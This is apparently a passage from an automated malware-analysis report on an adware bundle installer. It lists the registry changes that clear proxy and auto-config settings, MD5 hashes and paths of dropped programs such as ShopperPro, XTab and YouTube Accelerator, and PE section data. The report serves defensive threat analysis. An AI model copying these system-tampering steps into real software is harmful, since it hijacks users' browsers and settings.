[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "8C C9 2A D1 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 6C 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "56 43 25 D3 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process taskeng.exe:3560 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{8D2C9AA4-93A3-4A5D-9C2F-4973E0CEBBE9}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process ctmpua.exe:712 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "56 43 25 D3 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\BI]
"w2mi" = "false"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 6D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "F4 DA 69 D7 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ytaiesmt_smtyc_setup.exe:3196 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\„"

The process jsdrv.exe:2700 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "21 B2 C9 90 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "57 C5 A5 92 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

Dropped PE files

MD5 File path
23b22fc2ea603602bc340ee7b84f6518 c:\Program Files (x86)\LiveUpdateWPP\LiveUpdateWPP.exe
6ca725adfc898f08095b1ab517cc60a2 c:\Program Files (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe
0a5e7d84f087ed065338f2b2d2526f15 c:\Program Files (x86)\SensePlus\Uninstall.exe
aaee6dbcad82f2951754fd78595949bb c:\Program Files (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe
237132389ff31567757758553d0bab6c c:\Program Files (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5.exe
ca1e8909d2c21e458d886ba24403f752 c:\Program Files (x86)\SensePlus\utils.exe
2af090fa714fac7351535076af816474 c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe
898cbccea61e69deb7f83a021d84b1de c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.sys
2af090fa714fac7351535076af816474 c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
898cbccea61e69deb7f83a021d84b1de c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
eb47caea3d91e054077624ffd7d1900a c:\Program Files (x86)\ShopperPro\SPRemove.exe
c7291f9fa05cdfb414130ab87aeaf48d c:\Program Files (x86)\ShopperPro\ShopperPro.dll
2fbc97f77f5314f21d3173d156113a96 c:\Program Files (x86)\ShopperPro\ShopperPro.exe
b8542466a9afd1eaf500c730095a38b6 c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
aed4589af6f75626ef3382fc76437f35 c:\Program Files (x86)\ShopperPro\Updater.exe
935bf11b38f5c90c69fff0730d716ac7 c:\Program Files (x86)\WebProtectorPlus\WebProtectorPlus.exe
8e3ce468b29c2e5419c24e4e1c060438 c:\Program Files (x86)\WebProtectorPlus\uninstall.exe
445752ec46020163bfbd5b6b56814428 c:\Program Files (x86)\WebProtector\WebProtector.dll
445752ec46020163bfbd5b6b56814428 c:\Program Files (x86)\WebProtector\WebProtector_new.dll
dc1fe169d711461c5c48769c12dcfa12 c:\Program Files (x86)\WebProtector\webprotector_uninstaller.exe
0183c88583bbf1c99d67acce017c9beb c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fd0b82d24d162e240931cfd5540d3021 c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013 c:\Program Files (x86)\XTab\BrowserAction.dll
b124f96efd0010e4f7e262f08519e9e4 c:\Program Files (x86)\XTab\CmdShell.exe
77ccf1c943665ececf9a5ce699560500 c:\Program Files (x86)\XTab\HPNotify.exe
4a345a11cc64ab72cb09ff391611dad0 c:\Program Files (x86)\XTab\IeWatchDog.dll
cc709fa63d5a536a2f8275c0cea39070 c:\Program Files (x86)\XTab\ProtectService.exe
efa257c845943b84922117758c955434 c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files (x86)\XTab\msvcr110.dll
e29708f3781e5790424ca59a0fbb1bd3 c:\Program Files (x86)\XTab\uninstall.exe
99762975ae78b591fa6699cc460bb5f7 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
43901c75bcf54be31a8f15bae77a3865 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
e0e06dca0f07ebaba0545450d0f69ade c:\Program Files (x86)\YTAHelper\YTAHelper.dll
c254e02e1b6fe3b7f33426bebb9e6af2 c:\Program Files (x86)\YTAHelper\YTAHelper.exe
a3b46b4c5d373c51e6e489bb603dba9f c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
76f41068f2fa82523736c58c6a6a27db c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072 c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
850e72f521667f04a1fa06bc92311b37 c:\Program Files (x86)\YouTube Accelerator\Updater.exe
29605c3fee628f62dea028a354425e3f c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
4a53830f2e9fa95a7873dcebd0249e80 c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
46e2c40e8adae15d5e3a164e7b65fe40 c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31 c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd c:\Program Files (x86)\YouTube Accelerator\cabex.dll
f756379f1f0fbad6bcf53170aa804918 c:\Program Files (x86)\YouTube Accelerator\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2 c:\Program Files (x86)\YouTube Accelerator\helper.dll
c014a1dddb4677f54f88efaaa492ddce c:\Program Files (x86)\YouTube Accelerator\ipc.dll
f6ac21939884df5c0201cdf1ead06b90 c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
2c3a467735e2d937ce44034869b43231 c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Program Files (x86)\YouTube Accelerator\sporder.dll
5e2c0de2f0f15923154293dea89d196b c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e0024c585767d4851de5e7331ac91ee5 c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62 c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
0a5e7d84f087ed065338f2b2d2526f15 c:\Program Files (x86)\iWebar\Uninstall.exe
a9858ea41053b503f922f5c5d5af0a43 c:\Program Files (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe
b45462ed54a6414546a00321a794809e c:\Program Files (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5-5.exe
6fefffb0d1acfe3e0268fb7e644b46e6 c:\Program Files (x86)\iWebar\utils.exe
f27d6aa0e9d50297cfd5fa8867e0e4e5 c:\Program Files\Common Files\ShopperPro\spbia.exe
485f6ef6b23477300f4a4234eea1890a c:\Program Files\Common Files\ShopperPro\spbici32.dll
fa1fab010679b485f6a1ed75213680a2 c:\Program Files\Common Files\ShopperPro\spbici64.dll
582e9bcb53b4219d9bf9425ee3abf49d c:\Program Files\Common Files\ShopperPro\spbii32.exe
6d07bece1979b7ef32420a33bf614a9a c:\Program Files\Common Files\ShopperPro\spbii64.exe
bc867aa519add9b5368c4e9be2bb4bd3 c:\Program Files\Common Files\ShopperPro\spbiu.exe
0a0a735febc7477ee088b0f9a6a29953 c:\Program Files\Common Files\ShopperPro\spbiw.sys
c7291f9fa05cdfb414130ab87aeaf48d c:\ProgramData\ShopperPro\ShopperPro.dll
b8542466a9afd1eaf500c730095a38b6 c:\ProgramData\ShopperPro\ShopperPro64.dll
8a8f5ebe2fd9c2e6325723209b9cdf32 c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade c:\ProgramData\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f c:\ProgramData\YTAHelper\YTAHelper64.dll
c7291f9fa05cdfb414130ab87aeaf48d c:\Users\All Users\ShopperPro\ShopperPro.dll
b8542466a9afd1eaf500c730095a38b6 c:\Users\All Users\ShopperPro\ShopperPro64.dll
8a8f5ebe2fd9c2e6325723209b9cdf32 c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade c:\Users\All Users\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f c:\Users\All Users\YTAHelper\YTAHelper64.dll
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_16207\DCytaiesmt_smtyc_setup.exe
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_23861\DCytaiesmt_smtyc_setup.exe
d352c794f7aa71c270b0365b283e14d6 c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\LiveUpdateWPP_is[1].exe
f9100dfbd139817794493c403b937c71 c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SetupWPP[1].exe
a85767e0abe94b6cfc17ce73789c98ce c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\WebProtectPI[1].13
a85767e0abe94b6cfc17ce73789c98ce c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\WebProtectPI[1].13
016f5b55d05ad02b556b29b428fdee9b c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_installer[1].exe
a85767e0abe94b6cfc17ce73789c98ce c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\WebProtectPI[1].13
59597b3484a28dcde2d9c07fdcedac41 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp
b3fdf6e7b0aecd48ca7e4921773fb606 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
59597b3484a28dcde2d9c07fdcedac41 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp
59597b3484a28dcde2d9c07fdcedac41 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp
59597b3484a28dcde2d9c07fdcedac41 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp
6ca71f0046dbb49d4aec20c15d92b5d1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe
901512375ec496987f3dd6ace299440f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_iwebar.exe
e50c5992675f7ef58340938e50de6086 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_sense.exe
fc39515174f5c66488d0681c42472687 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_shopperpro.exe
f8076da03b6b36fa1ec0bd5a082d8d95 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19064\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
76f41068f2fa82523736c58c6a6a27db c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
29605c3fee628f62dea028a354425e3f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
6f4f8c2cb7e07436aa59a72c89fbaa4a c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
46e2c40e8adae15d5e3a164e7b65fe40 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
f756379f1f0fbad6bcf53170aa804918 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
c014a1dddb4677f54f88efaaa492ddce c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
f6ac21939884df5c0201cdf1ead06b90 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
2c3a467735e2d937ce44034869b43231 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
5e2c0de2f0f15923154293dea89d196b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
850e72f521667f04a1fa06bc92311b37 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e0024c585767d4851de5e7331ac91ee5 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
4a53830f2e9fa95a7873dcebd0249e80 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
80764229a410305724108417115b8ce8 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe
518879abe3170dabd172dfffcd165598 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
1bdf5e5015efcaa68b05cec0a79be484 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
d25887cea275342b0529766534289b78 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ctmpua.exe
93dbcbed13f3573a366eac03acaee158 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\gcadapter.dll
3a9ce8edf728d00a44376a75fe7b2aca c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\nsProcess.dll
05450face243b3a7472407b999b03a72 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\DCytaiesmt_smtyc_setup.exe
05450face243b3a7472407b999b03a72 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll
6f7d9e111a17fab195efe0bbd3a0442d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\nsProcess.dll
05450face243b3a7472407b999b03a72 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\nsProcess.dll
5e242fda5059ff7746c404cdd3a15966 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
41be921214a9653b77b80086b4c5a7a5 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe
183ce47148c66717fbcd147a41a0caf6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe
a96619564071df84cc892752df062a6d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe
e7b4b146a101093e11ce45d203dd907b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe
8a8f5ebe2fd9c2e6325723209b9cdf32 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe
acf2f3ad315964ec2ed1ec4e61bd1f96 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
a5bfd6a87161d5dfa81cb5c2c6d29488 c:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1 c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1 c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 28860 29184 4.36907 33e8227bf6edbf3997e3d0895494668e
.data 36864 140 512 0.818223 1b0351714f371c0ba066871d4e504b00
.rdata 40960 3196 3584 3.54441 88a268b1fac88e9fad865c68cf3abce2
.bss 45056 110088 0 0 d41d8cd98f00b204e9800998ecf8427e
.idata 155648 4932 5120 3.53424 11c816edc4ef9cc4aa5511f8a707232b
.ndata 163840 32768 1024 0 0f343b0931126a20f133d67c2b018a3b
.rsrc 196608 17800 17920 3.94947 910d365c8572b40bfb8141bb8ae1ba88

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3673
7f6d030a23f210ff0f767468fe3edd48
2c4763bc78f7eafb65376a7b2e756179
381462a26a3c05eb9f139a9b79e0fe03
d5baefe73b7e8b7477726a667ec81f54
483c5d5b66246b5a4976ad64c3e47476
e0952b912819f49e90dfd4ca6729ede2
6e24b0041379da8b06a4f22ac4d660b4
41e5ae8b69def919dba700217f2943e7
114eb1ede34ad8e19614ea2c27936708
1e85752321decc748975780ffc5f7399
9fe8b39c75f8ed0d56094fe69fbf2c3f
0f8cfe6c36d70739199896a29a9ab59e
9c129a294d7cc0fe9ed53d890dbde85f
b9569d981dd7f0516c10295bcb118f65
f3a31b785aef97068400d0987e8505fa
bbef8102d6345f6e5aea4567f3493da7
52900543c17a5e7bf2dfca79aff4ed8e
5423049c0be0b64dd47e76f4552912c0
e994aa2020aa429e7ed46bde26100014
90351671e65f1bb12916d1e9ec86ed49
